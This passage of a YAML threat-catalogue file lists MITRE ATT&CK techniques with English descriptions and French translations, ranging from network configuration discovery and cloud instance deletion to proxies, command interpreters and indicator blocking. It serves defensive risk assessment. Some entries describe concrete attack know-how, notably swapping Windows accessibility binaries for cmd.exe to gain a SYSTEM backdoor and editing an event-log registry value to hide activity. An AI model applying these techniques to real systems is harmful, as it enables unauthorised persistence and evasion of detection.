      such as IP addresses of configured interfaces and static/dynamic routes (e.g.
      <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation:
      Mandiant APT41 Global Intrusion )


      Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016)
      during automated discovery to shape follow-on behaviors, including determining
      certain access within the target network and what actions to do next.

      https://attack.mitre.org/techniques/T1016'
    translations:
      fr:
        name: "D\xE9couverte de la configuration r\xE9seau du syst\xE8me"
        description: "Les adversaires peuvent rechercher des d\xE9tails sur la configuration\
          \ et les param\xE8tres du r\xE9seau, tels que les adresses IP et/ou MAC,\
          \ des syst\xE8mes auxquels ils acc\xE8dent ou par le biais de la d\xE9couverte\
          \ d\u2019informations sur des syst\xE8mes distants. Il existe plusieurs\
          \ utilitaires d\u2019administration du syst\xE8me d\u2019exploitation qui\
          \ peuvent \xEAtre utilis\xE9s pour collecter ces informations. Exemples\
          \ : [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101),\
          \ [nbtstat](https://attack.mitre.org/software/S0102) et [route](https://attack.mitre.org/software/S0103).\n\
          \nLes adversaires peuvent \xE9galement exploiter une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour collecter des informations\
          \ sur les configurations et les param\xE8tres, tels que les adresses IP\
          \ des interfaces configur\xE9es et les routes statiques/dynamiques (par\
          \ exemple, <code>show ip route</code>, <code>show ip interface</code>).\
          \ (R\xE9f\xE9rence : US-CERT-TA18-106A)(Citation : Intrusion mondiale de\
          \ Mandiant APT41)\n\nLes adversaires peuvent utiliser les informations de\
          \ [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016)\
          \ lors de la d\xE9couverte automatis\xE9e pour fa\xE7onner les comportements\
          \ de suivi, y compris la d\xE9termination de certains acc\xE8s au sein du\
          \ r\xE9seau cible et les actions \xE0 effectuer ensuite.\nhttps://attack.mitre.org/techniques/T1016"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1578.003
    ref_id: T1578.003
    name: Delete Cloud Instance
    description: 'An adversary may delete a cloud instance after they have performed
      malicious activities in an attempt to evade detection and remove evidence of
      their presence.  Deleting an instance or virtual machine can remove valuable
      forensic artifacts and other evidence of suspicious behavior if the instance
      is not recoverable.


      An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002)
      and later terminate the instance after achieving their objectives.(Citation:
      Mandiant M-Trends 2020)

      https://attack.mitre.org/techniques/T1578/003'
    translations:
      fr:
        name: Supprimer une instance Cloud
        description: "Un adversaire peut supprimer une instance cloud apr\xE8s qu\u2019\
          elle a effectu\xE9 des activit\xE9s malveillantes dans le but d\u2019\xE9\
          chapper \xE0 la d\xE9tection et de supprimer les preuves de sa pr\xE9sence.\
          \  La suppression d\u2019une instance ou d\u2019une machine virtuelle peut\
          \ supprimer des artefacts d\u2019investigation pr\xE9cieux et d\u2019autres\
          \ preuves de comportement suspect si l\u2019instance n\u2019est pas r\xE9\
          cup\xE9rable.\n\nUn adversaire peut \xE9galement [Cr\xE9er une instance\
          \ cloud](https://attack.mitre.org/techniques/T1578/002) et r\xE9silier ult\xE9\
          rieurement l\u2019instance apr\xE8s avoir atteint ses objectifs. (Citation\
          \ : Mandiant M-Trends 2020)\nhttps://attack.mitre.org/techniques/T1578/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1593.003
    ref_id: T1593.003
    name: Code Repositories
    description: "Adversaries may search public code repositories for information\
      \ about victims that can be used during targeting. Victims may store code in\
      \ repositories on various third-party websites such as GitHub, GitLab, SourceForge,\
      \ and BitBucket. Users typically interact with code repositories through a web\
      \ application or command-line utilities such as git.  \n\nAdversaries may search\
      \ various public code repositories for various information about a victim. Public\
      \ code repositories can often be a source of various general information about\
      \ victims, such as commonly used programming languages and libraries as well\
      \ as the names of employees. Adversaries may also identify more sensitive data,\
      \ including accidentally leaked credentials or API keys.(Citation: GitHub Cloud\
      \ Service Credentials) Information from these sources may reveal opportunities\
      \ for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)),\
      \ establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)\
      \ or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),\
      \ and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This\
      \ is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003),\
      \ which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from\
      \ private and internally hosted code repositories.\nhttps://attack.mitre.org/techniques/T1593/003"
    translations:
      fr:
        name: "R\xE9f\xE9rentiels de code"
        description: "Les adversaires peuvent rechercher dans des r\xE9f\xE9rentiels\
          \ de code publics des informations sur les victimes qui peuvent \xEAtre\
          \ utilis\xE9es lors du ciblage. Les victimes peuvent stocker du code dans\
          \ des r\xE9f\xE9rentiels sur divers sites Web tiers tels que GitHub, GitLab,\
          \ SourceForge et BitBucket. Les utilisateurs interagissent g\xE9n\xE9ralement\
          \ avec les r\xE9f\xE9rentiels de code par le biais d\u2019une application\
          \ Web ou d\u2019utilitaires de ligne de commande tels que git.  \n\nLes\
          \ adversaires peuvent rechercher diverses informations sur une victime dans\
          \ divers r\xE9f\xE9rentiels de code publics. Les d\xE9p\xF4ts de code publics\
          \ peuvent souvent \xEAtre une source d\u2019informations g\xE9n\xE9rales\
          \ sur les victimes, telles que les langages de programmation et les biblioth\xE8\
          ques couramment utilis\xE9s, ainsi que les noms des employ\xE9s. Les adversaires\
          \ peuvent \xE9galement identifier des donn\xE9es plus sensibles, notamment\
          \ des informations d\u2019identification ou des cl\xE9s API divulgu\xE9\
          es accidentellement. (Citation : Informations d\u2019identification du service\
          \ cloud GitHub) Les informations provenant de ces sources peuvent r\xE9\
          v\xE9ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing for Information](https://attack.mitre.org/techniques/T1598)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Comptes\
          \ compromis](https://attack.mitre.org/techniques/T1586) ou [Infrastructure\
          \ de compromis](https://attack.mitre.org/techniques/T1584)), et/ou d\u2019\
          acc\xE8s initial (ex : [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ ou [Phishing]( https://attack.mitre.org/techniques/T1566)). \n\n**Remarque\
          \ :** Ceci est distinct des [D\xE9p\xF4ts de code](https://attack.mitre.org/techniques/T1213/003),\
          \ qui se concentrent sur [Collection](https://attack.mitre.org/tactics/TA0009)\
          \ \xE0 partir des d\xE9p\xF4ts de code priv\xE9s et h\xE9berg\xE9s en interne.\n\
          https://attack.mitre.org/techniques/T1593/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.005
    ref_id: T1574.005
    name: Executable Installer File Permissions Weakness
    description: 'Adversaries may execute their own malicious payloads by hijacking
      the binaries used by an installer. These processes may automatically execute
      specific binaries as part of their functionality or to perform other actions.
      If the permissions on the file system directory containing a target binary,
      or permissions on the binary itself, are improperly set, then the target binary
      may be overwritten with another binary using user-level permissions and executed
      by the original process. If the original process and thread are running under
      a higher permissions level, then the replaced binary will also execute under
      higher-level permissions, which could include SYSTEM.


      Another variation of this technique can be performed by taking advantage of
      a weakness that is common in executable, self-extracting installers. During
      the installation process, it is common for installers to use a subdirectory
      within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs,
      or other payloads. When installers create subdirectories and files they often
      do not set appropriate permissions to restrict write access, which allows for
      execution of untrusted code placed in the subdirectories or overwriting of binaries
      used in the installation process. This behavior is related to and may take advantage
      of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).


      Adversaries may use this technique to replace legitimate binaries with malicious
      ones as a means of executing code at a higher permissions level. Some installers
      may also require elevated privileges that will result in privilege escalation
      when executing adversary controlled code. This behavior is related to [Bypass
      User Account Control](https://attack.mitre.org/techniques/T1548/002). Several
      examples of this weakness in existing common installers have been reported to
      software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers
      are Vulnerable) If the executing process is set to run at a specific time or
      during a certain event (e.g., system bootup) then this technique can also be
      used for persistence.

      https://attack.mitre.org/techniques/T1574/005'
    translations:
      fr:
        name: "Faiblesse des autorisations de fichiers du programme d\u2019installation\
          \ de l\u2019ex\xE9cutable"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant les fichiers binaires utilis\xE9s par un\
          \ installateur. Ces processus peuvent ex\xE9cuter automatiquement des fichiers\
          \ binaires sp\xE9cifiques dans le cadre de leurs fonctionnalit\xE9s ou pour\
          \ effectuer d\u2019autres actions. Si les autorisations sur le r\xE9pertoire\
          \ du syst\xE8me de fichiers contenant un binaire cible, ou les autorisations\
          \ sur le binaire lui-m\xEAme, ne sont pas correctement d\xE9finies, le binaire\
          \ cible peut \xEAtre remplac\xE9 par un autre binaire \xE0 l\u2019aide des\
          \ autorisations de niveau utilisateur et ex\xE9cut\xE9 par le processus\
          \ d\u2019origine. Si le processus et le thread d\u2019origine s\u2019ex\xE9\
          cutent sous un niveau d\u2019autorisation sup\xE9rieur, le fichier binaire\
          \ remplac\xE9 s\u2019ex\xE9cutera \xE9galement sous des autorisations de\
          \ niveau sup\xE9rieur, qui peuvent inclure SYSTEM.\n\nUne autre variante\
          \ de cette technique peut \xEAtre r\xE9alis\xE9e en tirant parti d\u2019\
          une faiblesse courante chez les installateurs ex\xE9cutables et auto-extractibles.\
          \ Au cours du processus d\u2019installation, il est courant que les installateurs\
          \ utilisent un sous-r\xE9pertoire dans le r\xE9pertoire <code>%TEMP\_%</code>\
          \ pour d\xE9compresser les fichiers binaires tels que les DLL, les EXE ou\
          \ d\u2019autres charges utiles. Lorsque les programmes d\u2019installation\
          \ cr\xE9ent des sous-r\xE9pertoires et des fichiers, ils ne d\xE9finissent\
          \ souvent pas les autorisations appropri\xE9es pour restreindre l\u2019\
          acc\xE8s en \xE9criture, ce qui permet l\u2019ex\xE9cution de code non approuv\xE9\
          \ plac\xE9 dans les sous-r\xE9pertoires ou l\u2019\xE9crasement des fichiers\
          \ binaires utilis\xE9s dans le processus d\u2019installation. Ce comportement\
          \ est li\xE9 \xE0 [D\xE9tournement d\u2019ordre de recherche DLL](https://attack.mitre.org/techniques/T1574/001)\
          \ et peut en tirer parti.\n\nLes adversaires peuvent utiliser cette technique\
          \ pour remplacer des fichiers binaires l\xE9gitimes par des fichiers malveillants\
          \ afin d\u2019ex\xE9cuter du code \xE0 un niveau d\u2019autorisation plus\
          \ \xE9lev\xE9. Certains programmes d\u2019installation peuvent \xE9galement\
          \ exiger des privil\xE8ges \xE9lev\xE9s qui entra\xEEneront une \xE9l\xE9\
          vation des privil\xE8ges lors de l\u2019ex\xE9cution de code contr\xF4l\xE9\
          \ par l\u2019adversaire. Ce comportement est li\xE9 \xE0 [Contourner le\
          \ contr\xF4le de compte d\u2019utilisateur](https://attack.mitre.org/techniques/T1548/002).\
          \ Plusieurs exemples de cette faiblesse dans les installateurs courants\
          \ existants ont \xE9t\xE9 signal\xE9s aux fournisseurs de logiciels. (R\xE9\
          f\xE9rence : mozilla_sec_adv_2012)  (Citation : Les installateurs ex\xE9\
          cutables sont vuln\xE9rables) Si le processus d\u2019ex\xE9cution est configur\xE9\
          \ pour s\u2019ex\xE9cuter \xE0 un moment pr\xE9cis ou lors d\u2019un certain\
          \ \xE9v\xE9nement (par exemple, le d\xE9marrage du syst\xE8me), cette technique\
          \ peut \xE9galement \xEAtre utilis\xE9e pour la persistance.\nhttps://attack.mitre.org/techniques/T1574/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.008
    ref_id: T1546.008
    name: Accessibility Features
    description: 'Adversaries may establish persistence and/or elevate privileges
      by executing malicious content triggered by accessibility features. Windows
      contains accessibility features that may be launched with a key combination
      before a user has logged in (ex: when the user is on the Windows logon screen).
      An adversary can modify the way these programs are launched to get a command
      prompt or backdoor without logging in to the system.


      Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>,
      launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>,
      launched when the Windows + U key combination is pressed. The sethc.exe program
      is often referred to as "sticky keys", and has been used by adversaries for
      unauthenticated access through a remote desktop login screen. (Citation: FireEye
      Hikit Rootkit)


      Depending on the version of Windows, an adversary may take advantage of these
      features in different ways. Common methods used by adversaries include replacing
      accessibility feature binaries or pointers/references to these binaries in the
      Registry. In newer versions of Windows, the replaced binary needs to be digitally
      signed for x64 systems, the binary must reside in <code>%systemdir%\</code>,
      and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation:
      DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012)
      debugger method was likely discovered as a potential workaround because it does
      not require the corresponding accessibility feature binary to be replaced.


      For simple binary replacement on Windows XP and later as well as and Windows
      Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>)
      may be replaced with "cmd.exe" (or another program that provides backdoor access).
      Subsequently, pressing the appropriate key combination at the login screen while
      sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001)
      will cause the replaced file to be executed with SYSTEM privileges. (Citation:
      Tilbury 2014)


      Other accessibility features exist that may also be leveraged in a similar fashion:
      (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)


      * On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>

      * Magnifier: <code>C:\Windows\System32\Magnify.exe</code>

      * Narrator: <code>C:\Windows\System32\Narrator.exe</code>

      * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>

      * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

      https://attack.mitre.org/techniques/T1546/008'
    translations:
      fr:
        name: "Caract\xE9ristiques d\u2019accessibilit\xE9"
        description: "Les adversaires peuvent \xE9tablir une persistance et/ou \xE9\
          lever des privil\xE8ges en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par des fonctionnalit\xE9s d\u2019accessibilit\xE9. Windows contient des\
          \ fonctionnalit\xE9s d\u2019accessibilit\xE9 qui peuvent \xEAtre lanc\xE9\
          es \xE0 l\u2019aide d\u2019une combinaison de touches avant qu\u2019un utilisateur\
          \ ne se soit connect\xE9 (par exemple, lorsque l\u2019utilisateur se trouve\
          \ sur l\u2019\xE9cran d\u2019ouverture de session Windows). Un adversaire\
          \ peut modifier la fa\xE7on dont ces programmes sont lanc\xE9s pour obtenir\
          \ une invite de commande ou une porte d\xE9rob\xE9e sans se connecter au\
          \ syst\xE8me.\n\nDeux programmes d\u2019accessibilit\xE9 courants sont <code>C\_\
          :\\Windows\\System32\\sethc.exe</code>, lanc\xE9 lorsque la touche Maj est\
          \ enfonc\xE9e cinq fois et <code>C\_:\\Windows\\System32\\utilman.exe</code>,\
          \ lanc\xE9 lorsque la combinaison de touches Windows + U est enfonc\xE9\
          e. Le programme sethc.exe est souvent appel\xE9 \xAB sticky keys \xBB et\
          \ a \xE9t\xE9 utilis\xE9 par des adversaires pour un acc\xE8s non authentifi\xE9\
          \ via un \xE9cran de connexion de bureau \xE0 distance. (Citation : FireEye\
          \ Hikit Rootkit)\n\nSelon la version de Windows, un adversaire peut tirer\
          \ parti de ces fonctionnalit\xE9s de diff\xE9rentes mani\xE8res. Les m\xE9\
          thodes couramment utilis\xE9es par les adversaires incluent le remplacement\
          \ des fichiers binaires des fonctionnalit\xE9s d\u2019accessibilit\xE9 ou\
          \ des pointeurs/r\xE9f\xE9rences \xE0 ces fichiers binaires dans le registre.\
          \ Dans les versions plus r\xE9centes de Windows, le fichier binaire remplac\xE9\
          \ doit \xEAtre sign\xE9 num\xE9riquement pour les syst\xE8mes x64, le fichier\
          \ binaire doit r\xE9sider dans <code>%systemdir\_%\\</code> et il doit \xEA\
          tre prot\xE9g\xE9 par la protection des fichiers ou des ressources Windows\
          \ (WFP/WRP). (Citation : DEFCON2016 Sticky Keys) La m\xE9thode de d\xE9\
          bogage [Injection d\u2019options d\u2019ex\xE9cution de fichier image](https://attack.mitre.org/techniques/T1546/012)\
          \ a probablement \xE9t\xE9 d\xE9couverte comme une solution de contournement\
          \ potentielle, car elle ne n\xE9cessite pas le remplacement du binaire de\
          \ la fonctionnalit\xE9 d\u2019accessibilit\xE9 correspondante.\n\nPour un\
          \ remplacement binaire simple sur Windows XP et versions ult\xE9rieures\
          \ ainsi que sur Windows Server 2003/R2 et versions ult\xE9rieures, par exemple,\
          \ le programme (par exemple, <code>C\_:\\Windows\\System32\\utilman.exe</code>)\
          \ peut \xEAtre remplac\xE9 par \xAB\_cmd.exe\_\xBB (ou un autre programme\
          \ qui fournit un acc\xE8s par porte d\xE9rob\xE9e). Par la suite, si vous\
          \ appuyez sur la combinaison de touches appropri\xE9e sur l\u2019\xE9cran\
          \ de connexion alors que vous \xEAtes assis devant le clavier ou lorsque\
          \ vous \xEAtes connect\xE9 via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001),\
          \ le fichier remplac\xE9 sera ex\xE9cut\xE9 avec les privil\xE8ges SYSTEM.\
          \ (R\xE9f\xE9rence : Tilbury 2014)\n\nD\u2019autres caract\xE9ristiques\
          \ d\u2019accessibilit\xE9 existent qui peuvent \xE9galement \xEAtre exploit\xE9\
          es de la m\xEAme mani\xE8re : (Citation : DEFCON2016 Sticky Keys) (R\xE9\
          f\xE9rence : Abus d\u2019accessibilit\xE9 du Narrateur)\n\n* Clavier \xE0\
          \ l\u2019\xE9cran : <code>C\_:\\Windows\\System32\\osk.exe</code>\n* Loupe\
          \ : <code>C\_:\\Windows\\System32\\Magnify.exe</code>\n* Narrateur : <code>C\_\
          :\\Windows\\System32\\Narrator.exe</code>\n* Commutateur d\u2019affichage\
          \ : <code>C\_:\\Windows\\System32\\DisplaySwitch.exe</code>\n* S\xE9lecteur\
          \ d\u2019applications : <code>C\_:\\Windows\\System32\\AtBroker.exe</code>\n\
          https://attack.mitre.org/techniques/T1546/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1496.002
    ref_id: T1496.002
    name: Bandwidth Hijacking
    description: "Adversaries may leverage the network bandwidth resources of co-opted\
      \ systems to complete resource-intensive tasks, which may impact system and/or\
      \ hosted service availability. \n\nAdversaries may also use malware that leverages\
      \ a system's network bandwidth as part of a botnet in order to facilitate [Network\
      \ Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or\
      \ to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage\
      \ in proxyjacking by selling use of the victims' network bandwidth and IP address\
      \ to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage\
      \ in internet-wide scanning in order to identify additional targets for compromise.(Citation:\
      \ Unit 42 Leaked Environment Variables 2024)\n\nIn addition to incurring potential\
      \ financial costs or availability disruptions, this technique may cause reputational\
      \ damage if a victim\u2019s bandwidth is used for illegal activities.(Citation:\
      \ Sysdig Proxyjacking)\nhttps://attack.mitre.org/techniques/T1496/002"
    translations:
      fr:
        name: "D\xE9tournement de bande passante"
        description: "Les adversaires peuvent exploiter les ressources de bande passante\
          \ r\xE9seau des syst\xE8mes coopt\xE9s pour effectuer des t\xE2ches gourmandes\
          \ en ressources, ce qui peut avoir un impact sur la disponibilit\xE9 du\
          \ syst\xE8me et/ou des services h\xE9berg\xE9s. \n\nLes adversaires peuvent\
          \ \xE9galement utiliser des logiciels malveillants qui exploitent la bande\
          \ passante r\xE9seau d\u2019un syst\xE8me dans le cadre d\u2019un botnet\
          \ afin de faciliter les campagnes de [d\xE9ni de service du r\xE9seau](https://attack.mitre.org/techniques/T1498)\
          \ et/ou d\u2019amorcer des torrents malveillants. (Citation : GoBotKR) Alternativement,\
          \ ils peuvent se livrer au proxyjacking en vendant l\u2019utilisation de\
          \ la bande passante du r\xE9seau et de l\u2019adresse IP des victimes \xE0\
          \ des services de proxyware. (Citation : Sysdig Proxyjacking) Enfin, ils\
          \ peuvent effectuer une analyse \xE0 l\u2019\xE9chelle d\u2019Internet afin\
          \ d\u2019identifier d\u2019autres cibles de compromission. (Citation : Unit\xE9\
          \ 42 Variables d\u2019environnement divulgu\xE9es 2024)\n\nEn plus d\u2019\
          entra\xEEner des co\xFBts financiers potentiels ou des interruptions de\
          \ disponibilit\xE9, cette technique peut nuire \xE0 la r\xE9putation si\
          \ la bande passante d\u2019une victime est utilis\xE9e pour des activit\xE9\
          s ill\xE9gales. (Citation : Sysdig Proxyjacking)\nhttps://attack.mitre.org/techniques/T1496/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1087
    ref_id: T1087
    name: Account Discovery
    description: "Adversaries may attempt to get a listing of valid accounts, usernames,\
      \ or email addresses on a system or within a compromised environment. This information\
      \ can help adversaries determine which accounts exist, which can aid in follow-on\
      \ behavior such as brute-forcing, spear-phishing attacks, or account takeovers\
      \ (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries\
      \ may use several methods to enumerate accounts, including abuse of existing\
      \ tools, built-in commands, and potential misconfigurations that leak account\
      \ names and roles or permissions in the targeted environment.\n\nFor examples,\
      \ cloud environments typically provide easily accessible interfaces to obtain\
      \ user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie\
      \ Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ and other command line functionality to identify accounts. Information about\
      \ email addresses and accounts may also be extracted by searching an infected\
      \ system\u2019s files.\nhttps://attack.mitre.org/techniques/T1087"
    translations:
      fr:
        name: "D\xE9couverte de compte"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de comptes,\
          \ de noms d\u2019utilisateur ou d\u2019adresses e-mail valides sur un syst\xE8\
          me ou dans un environnement compromis. Ces informations peuvent aider les\
          \ adversaires \xE0 d\xE9terminer quels comptes existent, ce qui peut faciliter\
          \ les comportements ult\xE9rieurs tels que le brute-forcing, les attaques\
          \ de spear-phishing ou les prises de contr\xF4le de comptes (par exemple,\
          \ [Comptes valides](https://attack.mitre.org/techniques/T1078)).\n\nLes\
          \ adversaires peuvent utiliser plusieurs m\xE9thodes pour \xE9num\xE9rer\
          \ les comptes, notamment l\u2019utilisation abusive des outils existants,\
          \ des commandes int\xE9gr\xE9es et des erreurs de configuration potentielles\
          \ qui divulguent des noms de comptes, des r\xF4les ou des autorisations\
          \ dans l\u2019environnement cibl\xE9.\n\nPar exemple, les environnements\
          \ cloud fournissent g\xE9n\xE9ralement des interfaces facilement accessibles\
          \ pour obtenir des listes d\u2019utilisateurs. (Citation : Utilisateurs\
          \ de la liste AWS)(citation : Google Cloud - API de liste de comptes IAM\
          \ Servie) Sur les h\xF4tes, les adversaires peuvent utiliser [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ par d\xE9faut et d\u2019autres fonctionnalit\xE9s de ligne de commande\
          \ pour identifier les comptes. Les informations sur les adresses e-mail\
          \ et les comptes peuvent \xE9galement \xEAtre extraites en recherchant les\
          \ fichiers d\u2019un syst\xE8me infect\xE9.\nhttps://attack.mitre.org/techniques/T1087"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1090
    ref_id: T1090
    name: Proxy
    description: 'Adversaries may use a connection proxy to direct network traffic
      between systems or act as an intermediary for network communications to a command
      and control server to avoid direct connections to their infrastructure. Many
      tools exist that enable traffic redirection through proxies or port redirection,
      including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.
      (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies
      to manage command and control communications, reduce the number of simultaneous
      outbound network connections, provide resiliency in the face of connection loss,
      or to ride over existing trusted communications paths between victims to avoid
      suspicion. Adversaries may chain together multiple proxies to further disguise
      the source of malicious traffic.


      Adversaries can also take advantage of routing schemes in Content Delivery Networks
      (CDNs) to proxy command and control traffic.

      https://attack.mitre.org/techniques/T1090'
    translations:
      fr:
        name: Procuration
        description: "Les adversaires peuvent utiliser un proxy de connexion pour\
          \ diriger le trafic r\xE9seau entre les syst\xE8mes ou agir en tant qu\u2019\
          interm\xE9diaire pour les communications r\xE9seau vers un serveur de commande\
          \ et de contr\xF4le afin d\u2019\xE9viter les connexions directes \xE0 leur\
          \ infrastructure. Il existe de nombreux outils qui permettent la redirection\
          \ du trafic via des proxys ou la redirection de port, notamment [HTRAN](https://attack.mitre.org/software/S0040),\
          \ ZXProxy et ZXPortMap. (Citation : Outils d\u2019attaque APT de Trend Micro)\
          \ Les adversaires utilisent ces types de proxys pour g\xE9rer les communications\
          \ de commande et de contr\xF4le, r\xE9duire le nombre de connexions r\xE9\
          seau sortantes simultan\xE9es, assurer la r\xE9silience face \xE0 la perte\
          \ de connexion ou contourner les voies de communication fiables existantes\
          \ entre les victimes afin d\u2019\xE9viter les soup\xE7ons. Les adversaires\
          \ peuvent encha\xEEner plusieurs proxys pour dissimuler davantage la source\
          \ du trafic malveillant.\n\nLes adversaires peuvent \xE9galement tirer parti\
          \ des sch\xE9mas de routage dans les r\xE9seaux de diffusion de contenu\
          \ (CDN) pour proxy de commande et contr\xF4ler le trafic.\nhttps://attack.mitre.org/techniques/T1090"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059
    ref_id: T1059
    name: Command and Scripting Interpreter
    description: 'Adversaries may abuse command and script interpreters to execute
      commands, scripts, or binaries. These interfaces and languages provide ways
      of interacting with computer systems and are a common feature across many different
      platforms. Most systems come with some built-in command-line interface and scripting
      capabilities, for example, macOS and Linux distributions include some flavor
      of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows
      installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)
      and [PowerShell](https://attack.mitre.org/techniques/T1059/001).


      There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006),
      as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007)
      and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).


      Adversaries may abuse these technologies in various ways as a means of executing
      arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001)
      payloads delivered to victims as lure documents or as secondary payloads downloaded
      from an existing C2. Adversaries may also execute commands through interactive
      terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021)
      in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation:
      Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell
      Execution in Python)

      https://attack.mitre.org/techniques/T1059'
    translations:
      fr:
        name: "Interpr\xE9teur de commandes et de scripts"
        description: "Les adversaires peuvent abuser des interpr\xE9teurs de commandes\
          \ et de scripts pour ex\xE9cuter des commandes, des scripts ou des fichiers\
          \ binaires. Ces interfaces et langages permettent d\u2019interagir avec\
          \ les syst\xE8mes informatiques et sont communs \xE0 de nombreuses plates-formes\
          \ diff\xE9rentes. La plupart des syst\xE8mes sont livr\xE9s avec une interface\
          \ de ligne de commande int\xE9gr\xE9e et des capacit\xE9s de script, par\
          \ exemple, les distributions macOS et Linux incluent une version de [Unix\
          \ Shell](https://attack.mitre.org/techniques/T1059/004) tandis que les installations\
          \ Windows incluent le [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)\
          \ et [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIl\
          \ existe \xE9galement des interpr\xE9teurs multiplateformes tels que [Python](https://attack.mitre.org/techniques/T1059/006),\
          \ ainsi que ceux couramment associ\xE9s \xE0 des applications clientes telles\
          \ que [JavaScript](https://attack.mitre.org/techniques/T1059/007) et [Visual\
          \ Basic](https://attack.mitre.org/techniques/T1059/005).\n\nLes adversaires\
          \ peuvent abuser de ces technologies de diverses mani\xE8res afin d\u2019\
          ex\xE9cuter des commandes arbitraires. Les commandes et les scripts peuvent\
          \ \xEAtre int\xE9gr\xE9s dans les charges utiles [Acc\xE8s initial](https://attack.mitre.org/tactics/TA0001)\
          \ fournies aux victimes sous forme de documents de leurre ou de charges\
          \ utiles secondaires t\xE9l\xE9charg\xE9es \xE0 partir d\u2019un C2 existant.\
          \ Les adversaires peuvent \xE9galement ex\xE9cuter des commandes via des\
          \ terminaux/shells interactifs, ainsi qu\u2019utiliser divers [Services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021) afin d\u2019\
          effectuer une ex\xE9cution \xE0 distance. (Citation : Commandes \xE0 distance\
          \ Powershell)(Citation : Cisco IOS Software Integrity Assurance - Historique\
          \ des commandes)(citation : Ex\xE9cution de shell \xE0 distance en Python)\n\
          https://attack.mitre.org/techniques/T1059"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.006
    ref_id: T1562.006
    name: Indicator Blocking
    description: "An adversary may attempt to block indicators or events typically\
      \ captured by sensors from being gathered and analyzed. This could include maliciously\
      \ redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based\
      \ sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About\
      \ Event Tracing 2018), by tampering settings that control the collection and\
      \ flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These\
      \ settings may be stored on the system in configuration files and/or in the\
      \ Registry as well as being accessible via administrative utilities such as\
      \ [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management\
      \ Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example,\
      \ adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\\
      CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious\
      \ actions in a new or different .evtx log file. This action does not require\
      \ a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)\
      \ \n\nETW interruption can be achieved multiple ways, however most directly\
